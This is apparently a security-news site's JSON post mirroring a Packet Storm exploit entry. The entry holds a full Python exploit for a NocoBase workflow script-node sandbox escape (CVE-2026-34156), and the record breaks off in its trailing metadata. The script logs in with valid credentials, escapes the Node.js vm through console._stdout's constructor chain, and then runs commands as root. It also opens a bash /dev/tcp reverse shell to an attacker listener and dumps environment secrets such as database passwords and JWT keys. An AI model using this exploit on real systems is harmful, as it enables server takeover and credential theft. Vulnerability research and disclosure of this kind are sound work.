{"id":52569,"date":"2026-05-08T13:40:38","date_gmt":"2026-05-08T13:40:38","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=52569"},"modified":"2026-05-08T13:40:38","modified_gmt":"2026-05-08T13:40:38","slug":"nocobase-2027-vm-sandbox-escape","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=52569","title":{"rendered":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:07&#8243;,&#8221;description&#8221;:&#8221;NocoBase versions 2.0.27 and below VM sandbox escape exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220576&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34156&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: NocoBase  2.0.27 &#8211; VM Sandbox Escape \\n    # Date: 2026-03-26\\n    # Exploit Author: Onurcan Gen\u00e7\\n    # Vendor Homepage: https:\/\/www.nocobase.com\/\\n    # Software Link: https:\/\/github.com\/nocobase\/nocobase\\n    # Version: \\u003c= 2.0.27 \u2014 patched in 2.0.28\\n    # Tested on: Debian GNU\/Linux 12 (bookworm) \/ Docker \/ Node.js v20.20.1\\n    # CVE: CVE-2026-34156\\n    # Advisory: https:\/\/github.com\/nocobase\/nocobase\/security\/advisories\/GHSA-px3p-vgh9-m57c\\n    # CWE: CWE-913\\n    # CVSS: 9.9 (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H)\\n    #\\n    # Description:\\n    #   NocoBase&#8217;s Workflow Script Node executes user-supplied JavaScript inside\\n    #   a Node.js vm sandbox with a custom require allowlist. However, the console\\n    #   object passed into the sandbox exposes host-realm WritableWorkerStdio\\n    #   stream objects (console._stdout \/ console._stderr). By traversing the\\n    #   prototype chain (.constructor.constructor), an attacker obtains the host\\n    #   realm&#8217;s Function constructor, accesses the process object, and uses\\n    #   process.mainModule.require to load child_process \u2014 bypassing the sandbox\\n    #   and achieving Remote Code Execution as root.\\n    #\\n    # Exploitation chain:\\n    #   console._stdout.constructor.constructor   \u2192 host-realm Function\\n    #   Function(&#8216;return process&#8217;)()              \u2192 Node.js process object\\n    #   process.mainModule.require(&#8216;child_process&#8217;) \u2192 unrestricted module\\n    #   child_process.execSync(&#8216;id&#8217;)              \u2192 RCE as root\\n    #\\n    # Usage:\\n    #   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e &#8211;cmd \\&#8221;id\\&#8221;\\n    #   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e &#8211;dump\\n    #   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e -l \\u003cLHOST\\u003e -p \\u003cLPORT\\u003e\\n    #\\n    # Notes:\\n    #   &#8211; Requires valid credentials (any user with workflow access)\\n    #   &#8211; Vulnerability check runs automatically before exploitation\\n    #   &#8211; Default reverse shell uses bash \/dev\/tcp (Debian-based containers)\\n    #   &#8211; Start listener before running: nc -lvnp 4444\\n    \\n    import argparse\\n    import json\\n    import requests\\n    import sys\\n    import urllib3\\n    \\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    # \u2500\u2500\u2500 Colors \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    class C:\\n        RED     = \\&#8221;\\\\033[91m\\&#8221;\\n        GREEN   = \\&#8221;\\\\033[92m\\&#8221;\\n        YELLOW  = \\&#8221;\\\\033[93m\\&#8221;\\n        BLUE    = \\&#8221;\\\\033[94m\\&#8221;\\n        MAGENTA = \\&#8221;\\\\033[95m\\&#8221;\\n        CYAN    = \\&#8221;\\\\033[96m\\&#8221;\\n        WHITE   = \\&#8221;\\\\033[97m\\&#8221;\\n        BOLD    = \\&#8221;\\\\033[1m\\&#8221;\\n        DIM     = \\&#8221;\\\\033[2m\\&#8221;\\n        RESET   = \\&#8221;\\\\033[0m\\&#8221;\\n    \\n    def info(msg):    print(f\\&#8221;  {C.BLUE}[*]{C.RESET} {msg}\\&#8221;)\\n    def good(msg):    print(f\\&#8221;  {C.GREEN}[+]{C.RESET} {msg}\\&#8221;)\\n    def warn(msg):    print(f\\&#8221;  {C.YELLOW}[!]{C.RESET} {msg}\\&#8221;)\\n    def fail(msg):    print(f\\&#8221;  {C.RED}[-]{C.RESET} {msg}\\&#8221;)\\n    def result(msg):  print(f\\&#8221;  {C.CYAN}[\u2192]{C.RESET} {msg}\\&#8221;)\\n    \\n    BANNER = f\\&#8221;\\&#8221;\\&#8221;\\n    {C.RED}{C.BOLD}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551  NocoBase Workflow Script Node \u2014 VM Sandbox Escape to RCE      \u2551\\n    \u2551  CVE: [CVE-2026-34156]  |  CVSS: 9.9 Critical                        \u2551\\n    \u2551  Author: Onurcan Gen\u00e7                                          \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{C.RESET}\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    ESCAPE_CHAIN = (\\n        \\&#8221;const Fn=console._stdout.constructor.constructor;\\&#8221;\\n        \\&#8221;const proc=Fn(&#8216;return process&#8217;)();\\&#8221;\\n        \\&#8221;const cp=proc.mainModule.require(&#8216;child_process&#8217;);\\&#8221;\\n    )\\n    \\n    \\n    # \u2500\u2500\u2500 Core Functions \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    def authenticate(target: str, username: str, password: str, verify_ssl: bool = False) -\\u003e str:\\n        url = f\\&#8221;{target.rstrip(&#8216;\/&#8217;)}\/api\/auth:signIn\\&#8221;\\n        body = {\\&#8221;account\\&#8221;: username, \\&#8221;password\\&#8221;: password}\\n    \\n        print()\\n        info(f\\&#8221;Authenticating as {C.BOLD}{username}{C.RESET}&#8230;\\&#8221;)\\n    \\n        try:\\n            resp = requests.post(url, headers={\\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;},\\n                                 json=body, timeout=10, verify=verify_ssl)\\n            data = resp.json()\\n        except requests.exceptions.ConnectionError:\\n            fail(f\\&#8221;Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}\\&#8221;)\\n            sys.exit(1)\\n        except json.JSONDecodeError:\\n            fail(f\\&#8221;Invalid response from server\\&#8221;)\\n            sys.exit(1)\\n    \\n        if \\&#8221;errors\\&#8221; in data:\\n            msg = data[\\&#8221;errors\\&#8221;][0].get(\\&#8221;message\\&#8221;, \\&#8221;Unknown error\\&#8221;)\\n            fail(f\\&#8221;Authentication failed: {C.RED}{msg}{C.RESET}\\&#8221;)\\n            sys.exit(1)\\n    \\n        token = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;token\\&#8221;)\\n        if not token:\\n            fail(\\&#8221;No token in response\\&#8221;)\\n            sys.exit(1)\\n    \\n        nickname = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;user\\&#8221;, {}).get(\\&#8221;nickname\\&#8221;, \\&#8221;unknown\\&#8221;)\\n        user_id = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;user\\&#8221;, {}).get(\\&#8221;id\\&#8221;, \\&#8221;?\\&#8221;)\\n        good(f\\&#8221;Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET} (ID: {user_id})\\&#8221;)\\n        good(f\\&#8221;Token: {C.DIM}{token[:25]}&#8230;{token[-10:]}{C.RESET}\\&#8221;)\\n        return token\\n    \\n    \\n    def send_payload(target: str, token: str, payload: str, verify_ssl: bool = False) -\\u003e dict:\\n        url = f\\&#8221;{target.rstrip(&#8216;\/&#8217;)}\/api\/flow_nodes:test\\&#8221;\\n        headers = {\\n            \\&#8221;Authorization\\&#8221;: f\\&#8221;Bearer {token}\\&#8221;,\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;\\n        }\\n        body = {\\n            \\&#8221;type\\&#8221;: \\&#8221;script\\&#8221;,\\n            \\&#8221;config\\&#8221;: {\\&#8221;content\\&#8221;: payload, \\&#8221;timeout\\&#8221;: 5000, \\&#8221;arguments\\&#8221;: []}\\n        }\\n    \\n        try:\\n            resp = requests.post(url, headers=headers, json=body, timeout=10, verify=verify_ssl)\\n            return resp.json()\\n        except requests.exceptions.Timeout:\\n            return {\\&#8221;data\\&#8221;: {\\&#8221;status\\&#8221;: 1, \\&#8221;result\\&#8221;: \\&#8221;timeout (expected for reverse shell)\\&#8221;}}\\n        except requests.exceptions.ConnectionError as e:\\n            return {\\&#8221;error\\&#8221;: f\\&#8221;Connection failed: {e}\\&#8221;}\\n        except json.JSONDecodeError:\\n            return {\\&#8221;error\\&#8221;: \\&#8221;Invalid JSON response\\&#8221;, \\&#8221;raw\\&#8221;: resp.text[:500]}\\n    \\n    \\n    def verify_vulnerability(target: str, token: str) -\\u003e bool:\\n        print()\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n        info(f\\&#8221;{C.BOLD}Phase 1: Vulnerability Check{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        check_payload = (\\n            \\&#8221;try {\\&#8221;\\n            \\&#8221;  const name = console._stdout.constructor.name;\\&#8221;\\n            \\&#8221;  const fnType = typeof console._stdout.constructor.constructor;\\&#8221;\\n            \\&#8221;  return JSON.stringify({stream: name, fnConstructor: fnType});\\&#8221;\\n            \\&#8221;} catch(e) { return &#8216;ERR: &#8216; + e.message; }\\&#8221;\\n        )\\n        result_data = send_payload(target, token, check_payload)\\n    \\n        if \\&#8221;error\\&#8221; in result_data:\\n            fail(f\\&#8221;Connection error: {result_data[&#8216;error&#8217;]}\\&#8221;)\\n            return False\\n    \\n        data = result_data.get(\\&#8221;data\\&#8221;, {})\\n    \\n        if data.get(\\&#8221;status\\&#8221;) != 1:\\n            if \\&#8221;INVALID_TOKEN\\&#8221; in str(data) or \\&#8221;EMPTY_TOKEN\\&#8221; in str(data):\\n                fail(\\&#8221;Authentication token is invalid or expired\\&#8221;)\\n            else:\\n                fail(f\\&#8221;Unexpected response: {data}\\&#8221;)\\n            return False\\n    \\n        try:\\n            check = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\n            stream = check.get(\\&#8221;stream\\&#8221;, \\&#8221;\\&#8221;)\\n            fn_type = check.get(\\&#8221;fnConstructor\\&#8221;, \\&#8221;\\&#8221;)\\n    \\n            if stream == \\&#8221;WritableWorkerStdio\\&#8221; and fn_type == \\&#8221;function\\&#8221;:\\n                good(f\\&#8221;Host-realm stream object: {C.GREEN}{C.BOLD}{stream}{C.RESET}\\&#8221;)\\n                good(f\\&#8221;Function constructor:     {C.GREEN}{C.BOLD}accessible{C.RESET}\\&#8221;)\\n                print()\\n                good(f\\&#8221;{C.GREEN}{C.BOLD}TARGET IS VULNERABLE!{C.RESET}\\&#8221;)\\n                return True\\n            else:\\n                fail(f\\&#8221;Unexpected sandbox state: stream={stream}, fn={fn_type}\\&#8221;)\\n                return False\\n        except (json.JSONDecodeError, TypeError):\\n            res = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\n            fail(f\\&#8221;Check failed: {res}\\&#8221;)\\n            return False\\n    \\n    \\n    # \u2500\u2500\u2500 Exploit Modes \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    def exploit_cmd(target: str, token: str, cmd: str):\\n        print()\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n        info(f\\&#8221;{C.BOLD}Phase 2: Command Execution{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        info(f\\&#8221;Executing: {C.YELLOW}{cmd}{C.RESET}\\&#8221;)\\n    \\n        safe_cmd = cmd.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;).replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;)\\n        payload = f'{ESCAPE_CHAIN}return cp.execSync(\\&#8221;{safe_cmd}\\&#8221;).toString().trim();&#8217;\\n        resp = send_payload(target, token, payload)\\n    \\n        data = resp.get(\\&#8221;data\\&#8221;, {})\\n        if data.get(\\&#8221;status\\&#8221;) == 1:\\n            output = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\n            print()\\n            good(f\\&#8221;Output:\\&#8221;)\\n            print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n            for line in output.split(\\&#8221;\\\\n\\&#8221;):\\n                print(f\\&#8221;  {C.WHITE}{line}{C.RESET}\\&#8221;)\\n            print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n        else:\\n            fail(f\\&#8221;Execution failed: {data}\\&#8221;)\\n    \\n    \\n    def exploit_revshell(target: str, token: str, lhost: str, lport: int):\\n        print()\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n        info(f\\&#8221;{C.BOLD}Phase 2: Reverse Shell{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        info(f\\&#8221;Target:   {C.YELLOW}{target}{C.RESET}\\&#8221;)\\n        info(f\\&#8221;Callback: {C.GREEN}{C.BOLD}{lhost}:{lport}{C.RESET}\\&#8221;)\\n        warn(f\\&#8221;Ensure listener is running: {C.BOLD}nc -lvnp {lport}{C.RESET}\\&#8221;)\\n        print()\\n    \\n        shell_cmd = f&#8217;bash -c \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{lhost}\/{lport} 0\\u003e\\u00261\\&#8221;&#8216;\\n        payload = f\\&#8221;{ESCAPE_CHAIN}cp.exec(&#8216;{shell_cmd}&#8217;);return &#8216;shell spawned&#8217;;\\&#8221;\\n        resp = send_payload(target, token, payload)\\n    \\n        data = resp.get(\\&#8221;data\\&#8221;, {})\\n        res = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\n    \\n        if \\&#8221;shell spawned\\&#8221; in str(res) or \\&#8221;timeout\\&#8221; in str(res):\\n            good(f\\&#8221;{C.GREEN}{C.BOLD}Payload delivered! Check your listener.{C.RESET}\\&#8221;)\\n        else:\\n            fail(f\\&#8221;Unexpected response: {data}\\&#8221;)\\n    \\n    \\n    def exploit_dump(target: str, token: str):\\n        print()\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n        info(f\\&#8221;{C.BOLD}Phase 2: System \\u0026 Credential Dump{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        # System info via shell commands\\n        commands = [\\n            (\\&#8221;User\\&#8221;,        \\&#8221;id\\&#8221;),\\n            (\\&#8221;Hostname\\&#8221;,    \\&#8221;hostname\\&#8221;),\\n            (\\&#8221;OS\\&#8221;,          \\&#8221;cat \/etc\/os-release | grep PRETTY_NAME | cut -d= -f2\\&#8221;),\\n            (\\&#8221;Kernel\\&#8221;,      \\&#8221;uname -r\\&#8221;),\\n            (\\&#8221;Node.js\\&#8221;,     \\&#8221;node &#8211;version\\&#8221;),\\n            (\\&#8221;Working Dir\\&#8221;, \\&#8221;pwd\\&#8221;),\\n        ]\\n    \\n        print()\\n        info(f\\&#8221;{C.BOLD}System Information{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        for label, cmd in commands:\\n            safe_cmd = cmd.replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;)\\n            payload = f'{ESCAPE_CHAIN}return cp.execSync(\\&#8221;{safe_cmd}\\&#8221;).toString().trim();&#8217;\\n            resp = send_payload(target, token, payload)\\n            data = resp.get(\\&#8221;data\\&#8221;, {})\\n            if data.get(\\&#8221;status\\&#8221;) == 1:\\n                out = data.get(\\&#8221;result\\&#8221;, \\&#8221;N\/A\\&#8221;).replace(&#8216;\\&#8221;&#8216;, &#8221;)\\n                print(f\\&#8221;  {C.WHITE}{label:.\\u003c22}{C.RESET} {C.GREEN}{out}{C.RESET}\\&#8221;)\\n    \\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        # Credentials via JavaScript\\n        print()\\n        info(f\\&#8221;{C.BOLD}Environment Credentials{C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        secrets_payload = (\\n            f\\&#8221;{ESCAPE_CHAIN}\\&#8221;\\n            \\&#8221;const env = proc.env;\\&#8221;\\n            \\&#8221;const keys = [&#8216;DB_HOST&#8217;,&#8217;DB_PORT&#8217;,&#8217;DB_DATABASE&#8217;,&#8217;DB_USER&#8217;,&#8217;DB_PASSWORD&#8217;,\\&#8221;\\n            \\&#8221;&#8216;DB_DIALECT&#8217;,&#8217;INIT_ROOT_USERNAME&#8217;,&#8217;INIT_ROOT_PASSWORD&#8217;,&#8217;INIT_ROOT_NICKNAME&#8217;,\\&#8221;\\n            \\&#8221;&#8216;INIT_ROOT_EMAIL&#8217;,&#8217;APP_KEY&#8217;,&#8217;API_KEY&#8217;,&#8217;JWT_SECRET&#8217;,&#8217;SECRET_KEY&#8217;];\\&#8221;\\n            \\&#8221;const out = {}; keys.forEach(k =\\u003e { if(env[k]) out[k] = env[k]; });\\&#8221;\\n            \\&#8221;return JSON.stringify(out);\\&#8221;\\n        )\\n        resp = send_payload(target, token, secrets_payload)\\n        data = resp.get(\\&#8221;data\\&#8221;, {})\\n    \\n        if data.get(\\&#8221;status\\&#8221;) == 1:\\n            try:\\n                creds = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\n                for k, v in creds.items():\\n                    color = C.RED if \\&#8221;PASS\\&#8221; in k or \\&#8221;SECRET\\&#8221; in k or \\&#8221;KEY\\&#8221; in k else C.YELLOW\\n                    print(f\\&#8221;  {C.WHITE}{k:.\\u003c30}{C.RESET} {color}{C.BOLD}{v}{C.RESET}\\&#8221;)\\n            except json.JSONDecodeError:\\n                result(f\\&#8221;Raw: {data.get(&#8216;result&#8217;)}\\&#8221;)\\n    \\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        # All env vars with sensitive patterns\\n        print()\\n        info(f\\&#8221;{C.BOLD}Additional Secrets (pattern match){C.RESET}\\&#8221;)\\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n        extra_payload = (\\n            f\\&#8221;{ESCAPE_CHAIN}\\&#8221;\\n            \\&#8221;const env = proc.env;\\&#8221;\\n            \\&#8221;const out = {};\\&#8221;\\n            \\&#8221;for (const k of Object.keys(env)) {\\&#8221;\\n            \\&#8221;  if (\/secret|key|token|pass|auth|jwt|api_key|private\/i.test(k) \\u0026\\u0026 \\&#8221;\\n            \\&#8221;      !k.startsWith(&#8216;npm_&#8217;)) out[k] = env[k];\\&#8221;\\n            \\&#8221;}\\&#8221;\\n            \\&#8221;return JSON.stringify(out);\\&#8221;\\n        )\\n        resp = send_payload(target, token, extra_payload)\\n        data = resp.get(\\&#8221;data\\&#8221;, {})\\n    \\n        if data.get(\\&#8221;status\\&#8221;) == 1:\\n            try:\\n                extras = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\n                if extras:\\n                    for k, v in extras.items():\\n                        print(f\\&#8221;  {C.WHITE}{k:.\\u003c30}{C.RESET} {C.RED}{C.BOLD}{v}{C.RESET}\\&#8221;)\\n                else:\\n                    info(\\&#8221;No additional secrets found\\&#8221;)\\n            except json.JSONDecodeError:\\n                pass\\n    \\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\n    \\n    \\n    # \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    def main():\\n        print(BANNER)\\n    \\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;NocoBase Workflow Script Node \u2014 VM Sandbox Escape to RCE\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=f\\&#8221;\\&#8221;\\&#8221;\\n    {C.BOLD}Examples:{C.RESET}\\n      {C.CYAN}Command:{C.RESET}       %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 &#8211;cmd \\&#8221;id\\&#8221;\\n      {C.CYAN}Dump:{C.RESET}          %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 &#8211;dump\\n      {C.CYAN}Reverse Shell:{C.RESET} %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 -l 10.10.14.5 -p 4444\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, required=True,\\n                            help=\\&#8221;Target NocoBase URL (e.g., http:\/\/target:13000)\\&#8221;)\\n        parser.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;username\\&#8221;, required=True,\\n                            help=\\&#8221;NocoBase username\\&#8221;)\\n        parser.add_argument(\\&#8221;-P\\&#8221;, \\&#8221;&#8211;password\\&#8221;, required=True,\\n                            help=\\&#8221;NocoBase password\\&#8221;)\\n        parser.add_argument(\\&#8221;-l\\&#8221;, \\&#8221;&#8211;lhost\\&#8221;, default=None,\\n                            help=\\&#8221;Listener IP for reverse shell\\&#8221;)\\n        parser.add_argument(\\&#8221;-p\\&#8221;, \\&#8221;&#8211;lport\\&#8221;, type=int, default=4444,\\n                            help=\\&#8221;Listener port (default: 4444)\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;cmd\\&#8221;, default=None,\\n                            help=\\&#8221;Execute a single command\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;dump\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                            help=\\&#8221;Dump system info and credentials\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;no-verify\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                            help=\\&#8221;Skip vulnerability verification\\&#8221;)\\n    \\n        args = parser.parse_args()\\n    \\n        if not args.cmd and not args.lhost and not args.dump:\\n            fail(f\\&#8221;Specify {C.BOLD}&#8211;cmd{C.RESET} (command), {C.BOLD}&#8211;dump{C.RESET} (info), or {C.BOLD}-l LHOST{C.RESET} (revshell)\\&#8221;)\\n            sys.exit(1)\\n    \\n        # Phase 0: Authenticate\\n        token = authenticate(args.target, args.username, args.password)\\n    \\n        # Phase 1: Vulnerability check (always runs unless &#8211;no-verify)\\n        if not args.no_verify:\\n            if not verify_vulnerability(args.target, token):\\n                fail(f\\&#8221;{C.RED}{C.BOLD}TARGET IS NOT VULNERABLE.{C.RESET} Exiting.\\&#8221;)\\n                sys.exit(1)\\n    \\n        # Phase 2: Exploit\\n        if args.dump:\\n            exploit_dump(args.target, token)\\n        elif args.cmd:\\n            exploit_cmd(args.target, token, args.cmd)\\n        else:\\n            exploit_revshell(args.target, token, args.lhost, args.lport)\\n    \\n        print()\\n        print(f\\&#8221;  {C.GREEN}{C.BOLD}Done.{C.RESET}\\&#8221;)\\n        print()\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220576&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220576\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;: